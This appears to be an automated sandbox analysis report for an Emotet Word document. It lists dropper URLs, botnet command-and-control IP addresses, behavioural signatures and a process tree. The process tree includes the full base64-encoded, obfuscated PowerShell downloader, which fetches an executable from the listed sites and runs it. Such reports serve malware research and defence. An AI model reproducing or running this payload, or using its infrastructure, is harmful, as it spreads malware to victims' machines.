Analysis

  • max time kernel
    137s
  • max time network
    135s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    27/10/2020, 13:31

General

  • Target
    emotet_e1_a5a0ad030d2056a0dbff55c64a0bb09603febb87647ee5c9c22137e1c69ca9f8_2020-10-27__132837188322._fpx.doc
  • Size 178KB
  • Sample201027-hjbakrt79x
  • SHA256 a5a0ad030d2056a0dbff55c64a0bb09603febb87647ee5c9c22137e1c69ca9f8
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://www.royalempresshair.com/wp-content/upgrade/Ete/

  • exe.dropper

    http://kbppp.ilmci.com/wp-includes/z/

  • exe.dropper

    http://tiplabor.com/images/Du1/

  • exe.dropper

    http://0377hhd.com/cgi-bin/q/

  • exe.dropper

    https://sorbonne-capital.com/wp-admin/Jip/

  • exe.dropper

    https://dijitalklinik.com/wp-admin/LYq/

  • exe.dropper

    https://www.qualitymathtutors.com/wp-content/GfE/

Extracted

Family
  • emotet

Botnet
  • Epoch1

C2
  • 45.16.226.117:443

  • 104.131.92.244:8080

  • 70.39.251.94:8080

  • 87.230.25.43:8080

  • 186.189.249.2:80

  • 209.236.123.42:8080

  • 5.196.35.138:7080

  • 45.33.77.42:8080

  • 46.43.2.95:8080

  • 24.135.69.146:80

  • 103.236.179.162:80

  • 190.92.122.226:80

  • 201.71.228.86:80

  • 68.183.170.114:8080

  • 183.176.82.231:80

  • 168.197.45.36:80

  • 152.169.22.67:80

  • 111.67.12.221:8080

  • 51.75.33.127:80

  • 186.70.127.199:8090

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_a5a0ad030d2056a0dbff55c64a0bb09603febb87647ee5c9c22137e1c69ca9f8_2020-10-27__132837188322._fpx.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4664
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD IAAgACQAWQAwAEcAdAA9ACAAWwBUAFkAUABlAF0AKAAiAHsAMwB9AHsAMAB9AHsAMQB9AHsAMgB9ACIALQBmACAAJwBpAFIAZQBDAHQAbwAnACwAJwBSACcALAAnAFkAJwAsACcAUwB5AFMAVABFAG0ALgBpAG8ALgBkACcAKQA7ACAAIAAgACQAUQA3AFYATwAgACAAPQAgAFsAVAB5AFAAZQBdACgAIgB7ADcAfQB7ADAAfQB7ADYAfQB7ADgAfQB7ADQAfQB7ADMAfQB7ADIAfQB7ADEAfQB7ADUAfQAiACAALQBmACcAWQBzAHQAJwAsACcAbQAnACwAJwBJAG4AdAAnACwAJwBvACcALAAnAFAAJwAsACcAQQBuAEEARwBFAFIAJwAsACcAZQBtAC4AbgBlAHQAJwAsACcAUwAnACwAJwAuAFMAZQBSAHYAaQBDAGUAJwApACAAOwAgACQATABqAHUAZQBwAGIAawA9ACgAJwBEACcAKwAoACcAegAyACcAKwAnAGwAZQBxAGMAJwApACkAOwAkAFgAbABtAGsANwAzAHcAPQAkAEkAOABwAHIANAByAG0AIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE0AcABuAGgAegA2AHUAOwAkAFAAXwA2AHcAaQBzADcAPQAoACcARQA0ACcAKwAoACcAcABvAGUAJwArACcAMwAnACkAKwAnAHAAJwApADsAIAAoACAAIAB2AGEAcgBJAGEAYgBMAGUAIAAoACIAWQAwACIAKwAiAEcAdAAiACkAIAApAC4AVgBhAGwAVQBlADoAOgAiAEMAcgBlAEEAVABFAGQAYABpAGAAUgBlAGMAdABgAE8AcgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBKAGEAOABUAHIAMQAnACsAJwB1ACcAKwAnAGMAJwApACsAKAAnADYAYwBKAGEAJwArACcAOAAnACsAJwBHACcAKQArACcAZQAnACsAJwA1AHIAJwArACcAbwAnACsAJwB3ACcAKwAoACcAMQAnACsAJwBKAGEAOAAnACkAKQAgAC0AYwBSAEUAcABMAEEAYwBlACgAJwBKAGEAJwArACcAOAAnACkALABbAGMAaABhAFIAXQA5ADIAKQApADsAJABCAGgAZgBzAGgAagB1AD0AKAAoACcAWAAnACsAJwB4AHcAJwApACsAJwBfACcAKwAoACcAeQBjACcAKwAnAGkAJwApACkAOwAgACQAUQA3AFYATwA6ADoAIgBTAGUAYwBgAFUAUgBgAGkAVAB5AGAAcABSAE8AVABvAGAAQwBvAEwAIgAgAD0AIAAoACgAJwBUAGwAJwArACcAcwAnACkAKwAnADEAMgAnACkAOwAkAEQAcAAxAGUAdwByAHAAPQAoACcAQQAnACsAKAAnAHoAJwArACcAawBhAGMAMAAnACsAJwAzACcAKQApADsAJABLADkAZwBmADAAcwBiACAAPQAgACgAKAAnAEEAdgAnACsAJwBmAHMAJwApACsAJwAxAGMAJwArACcAZQBtACcAKQA7ACQAWAB6AHYANwA3AGMAZQA9ACgAJwBEACcAKwAoACcAagAnACsAJwAxAGIAawBnACcAKQArACcAdgAnACkAOwAkAEgAcQBzADAAdQA3ADAAPQAoACgAJwBYAF8AYwAnACsAJwA4ACcAKQArACgAJwAxACcAKwAnAHUAYwAnACkAKQA7ACQATQBxAHgAeQB3AHEAMgA9ACQASABPAE0ARQArACgAKAAoACcAawBqACcAKwAnADgAVAByADEAJwArACcAdQBjACcAKQArACgAJwA2AGMAawAnACsAJwBqACcAKQArACcAOAAnACsAKAAnAEcAZQA1AHIAJwArACcAbwB3ACcAKQArACgAJwAxACcAKwAnAGsAagAnACkAKwAnADgAJwApACAALQByAEUAcABMAGEAYwBFACAAKABbAEMAaABBAFIAXQAxADAANwArAFsAQwBoAEEAUgBdADEAMAA2ACsAWwBDAGgAQQBSAF0ANQA2ACkALABbAEMAaABBAFIAXQA5ADIAKQArACQASwA5AGcAZgAwAHMAYgArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAEoAegB6ADMANgAwAGYAPQAoACcARQBxACcAKwAoACcAOQAnACsAJwAxAGMAJwApACsAJwB6ADEAJwApADsAJABRAG8AZABoAGEAMQBzAD0AJgAoACcAbgBlACcAKwAnAHcALQBvAGIAagAnACsAJwBlAGMAJwArACcAdAAnACkAIABOAGUAdAAuAHcAZQBiAGMATABJAGUAbgBUADsAJABaAF8AZABqAG8AdgAzAD0AKAAoACcAaAB0AHQAcAAnACsAJwA6ACcAKQArACgAJwBbACAAJwArACcAdwBlACcAKQArACgAJwAgAF0AWwAnACsAJwAgACcAKQArACcAdwAnACsAKAAnAGUAJwArACcAIABdACcAKwAnAHcAdwB3AC4AJwApACsAKAAnAHIAbwB5ACcAKwAnAGEAJwApACsAKAAnAGwAZQBtAHAAcgAnACsAJwBlACcAKQArACgAJwBzACcAKwAnAHMAaABhAGkAJwArACcAcgAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACkAKwAnAFsAJwArACgAJwAgACcAKwAnAHcAJwArACcAZQAgAF0AdwAnACkAKwAoACcAcAAtACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAbgB0AGUAbgB0AFsAIAAnACsAJwB3AGUAIAAnACsAJwBdAHUAcABnACcAKwAnAHIAJwApACsAKAAnAGEAJwArACcAZABlACcAKQArACcAWwAnACsAJwAgACcAKwAnAHcAJwArACgAJwBlACcAKwAnACAAXQBFAHQAJwArACcAZQBbACAAJwApACsAJwB3ACcAKwAnAGUAJwArACgAJwAgAF0AJwArACcAQAAnACsAJwBoAHQAdAAnACkAKwAoACcAcAA6AFsAIAB3AGUAIABdAFsAIAB3ACcAKwAnAGUAIAAnACsAJwBdAGsAJwArACcAYgAnACsAJwBwAHAAcAAuACcAKQArACcAaQBsACcAKwAoACcAbQBjAGkAJwArACcALgBjAG8AbQBbACAAJwApACsAKAAnAHcAZQAgAF0AdwBwAC0AJwArACcAaQBuAGMAbAB1AGQAZQAnACsAJwBzACcAKQArACcAWwAnACsAJwAgAHcAJwArACgAJwBlACAAXQB6ACcAKwAnAFsAIAB3ACcAKQArACcAZQAnACsAKAAnACAAXQAnACsAJwBAAGgAdAB0ACcAKwAnAHAAJwApACsAJwA6ACcAKwAnAFsAIAAnACsAKAAnAHcAZQAgAF0AJwArACcAWwAgAHcAJwApACsAKAAnAGUAIAAnACsAJwBdAHQAaQAnACkAKwAoACcAcABsACcAKwAnAGEAYgBvACcAKQArACgAJwByACcAKwAnAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAFsAIAB3AGUAIAAnACsAJwBdAGkAJwArACcAbQBhAGcAJwApACsAKAAnAGUAcwBbACAAJwArACcAdwBlACcAKQArACgAJwAgAF0ARAAnACsAJwB1ACcAKQArACcAMQBbACcAKwAoACcAIAB3AGUAIABdAEAAaAAnACsAJwB0ACcAKwAnAHQAcAA6AFsAJwArACcAIAB3ACcAKwAnAGUAJwApACsAJwAgAF0AJwArACgAJwBbACAAdwAnACsAJwBlACAAJwApACsAKAAnAF0AMAAnACsAJwAzADcANwBoACcAKQArACgAJwBoAGQALgBjAG8AbQAnACsAJwBbACAAdwBlACAAXQBjACcAKwAnAGcAaQAtACcAKwAnAGIAaQBuAFsAJwApACsAKAAnACAAdwBlACAAXQBxACcAKwAnAFsAJwApACsAJwAgAHcAJwArACgAJwBlACAAXQAnACsAJwBAAGgAdAB0ACcAKwAnAHAAcwAnACkAKwAoACcAOgBbACcAKwAnACAAJwArACcAdwBlACAAJwArACcAXQBbACAAJwApACsAKAAnAHcAZQAgAF0AcwBvAHIAYgBvACcAKwAnAG4AbgAnACsAJwBlAC0AYwBhAHAAJwArACcAaQAnACsAJwB0AGEAbAAuAGMAJwArACcAbwBtACcAKwAnAFsAIAAnACkAKwAnAHcAZQAnACsAKAAnACAAJwArACcAXQB3AHAALQBhAGQAbQAnACkAKwAoACcAaQBuAFsAIAB3AGUAJwArACcAIABdAEoAaQAnACsAJwBwAFsAIAAnACsAJwB3ACcAKQArACcAZQAnACsAKAAnACAAXQBAAGgAJwArACcAdAAnACsAJwB0ACcAKQArACgAJwBwAHMAOgAnACsAJwBbACAAdwBlACcAKwAnACAAXQBbACAAdwBlACcAKwAnACAAXQBkAGkAagBpACcAKQArACgAJwB0AGEAbABrACcAKwAnAGwAJwApACsAJwBpAG4AJwArACgAJwBpACcAKwAnAGsALgAnACkAKwAoACcAYwBvAG0AJwArACcAWwAgAHcAJwApACsAJwBlACcAKwAoACcAIAAnACsAJwBdAHcAcAAnACkAKwAoACcALQBhAGQAJwArACcAbQBpACcAKQArACcAbgBbACcAKwAoACcAIAB3AGUAJwArACcAIABdACcAKwAnAEwAWQBxACcAKQArACgAJwBbACAAdwAnACsAJwBlACcAKQArACgAJwAgAF0AQABoAHQAdAAnACsAJwBwAHMAJwArACcAOgBbACAAdwBlACcAKwAnACAAJwArACcAXQBbACAAdwBlACcAKwAnACAAXQB3AHcAdwAuAHEAdQBhACcAKQArACgAJwBsAGkAdAAnACsAJwB5AG0AJwApACsAKAAnAGEAdABoAHQAJwArACcAdQB0AG8AJwApACsAKAAnAHIAcwAuACcAKwAnAGMAJwArACcAbwAnACsAJwBtACcAKwAnAFsAIAB3AGUAIABdAHcAcAAnACkAKwAnAC0AYwAnACsAKAAnAG8AbgAnACsAJwB0AGUAbgB0AFsAJwArACcAIAB3AGUAIABdACcAKQArACgAJwBHACcAKwAnAGYARQAnACkAKwAnAFsAJwArACgAJwAgAHcAJwArACcAZQAgAF0AJwApACkALgAiAFIAZQBQAEwAQQBgAEMAZQAiACgAKAAoACcAWwAgAHcAZQAnACsAJwAgACcAKQArACcAXQAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAJwBmAHMAJwApAFsAMABdACkALgAiAHMAUABsAGAASQB0ACIAKAAkAFAAMgBwAHcAeABvADcAIAArACAAJABYAGwAbQBrADcAMwB3ACAAKwAgACQAUwAxAF8AOABfAGgANQApADsAJABFAHAAeQB3AHIANAA4AD0AKAAoACcASAAnACsAJwA2ADMAJwApACsAKAAnAGQAOQAnACsAJwBqACcAKQArACcANAAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFYAcgB6AG0AeQBuAHgAIABpAG4AIAAkAFoAXwBkAGoAbwB2ADMAKQB7AHQAcgB5AHsAJABRAG8AZABoAGEAMQBzAC4AIgBkAGAATwBgAHcAbgBsAGAAbwBBAGQARgBpAEwAZQAiACgAJABWAHIAegBtAHkAbgB4ACwAIAAkAE0AcQB4AHkAdwBxADIAKQA7ACQASAB5AG0AXwBlAHEAeQA9ACgAJwBVACcAKwAnAHoAJwArACgAJwBjAGYAJwArACcAXwBqAHgAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQATQBxAHgAeQB3AHEAMgApAC4AIgBMAEUAbgBHAGAAVABIACIAIAAtAGcAZQAgADQAOQAzADkANgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAoACcAdwBpAG4AMwAnACsAJwAyACcAKQArACgAJwBfAFAAcgAnACsAJwBvACcAKQArACcAYwAnACsAJwBlACcAKwAnAHMAcwAnACkAKQAuACIAQwBgAFIARQBBAHQAZQAiACgAJABNAHEAeAB5AHcAcQAyACkAOwAkAEoAcwB5AGIAZAA5ADMAPQAoACcAQwAnACsAKAAnAGwAMwB3ADQAYwAnACsAJwByACcAKQApADsAYgByAGUAYQBrADsAJABUAHgAbQA3ADYAcQAyAD0AKAAoACcAUgAnACsAJwA1ADQAMgAnACkAKwAoACcAMgBtACcAKwAnAGIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUAcgB2ADIAZgBnAGcAPQAoACcATwAnACsAJwBmACcAKwAoACcAYgBlACcAKwAnADcAbgBhACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4200
  • C:\Users\Admin\Tr1uc6c\Ge5row1\Avfs1cem.exe
    C:\Users\Admin\Tr1uc6c\Ge5row1\Avfs1cem.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:4340
    • C:\Windows\SysWOW64\wtsapi32\MapControlCore.exe
      "C:\Windows\SysWOW64\wtsapi32\MapControlCore.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:4380

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/4200-6-0x00007FF874980000-0x00007FF87536C000-memory.dmp

        memory/4200-7-0x00000223E6820000-0x00000223E6821000-memory.dmp

        memory/4200-8-0x00000223E6C10000-0x00000223E6C11000-memory.dmp

        memory/4340-11-0x00000000005F0000-0x0000000000610000-memory.dmp

        memory/4340-12-0x0000000000610000-0x000000000062E000-memory.dmp

        memory/4380-15-0x00000000007D0000-0x00000000007F0000-memory.dmp

        memory/4380-16-0x00000000007F0000-0x000000000080E000-memory.dmp

        memory/4664-0-0x00007FF87B9D0000-0x00007FF87C007000-memory.dmp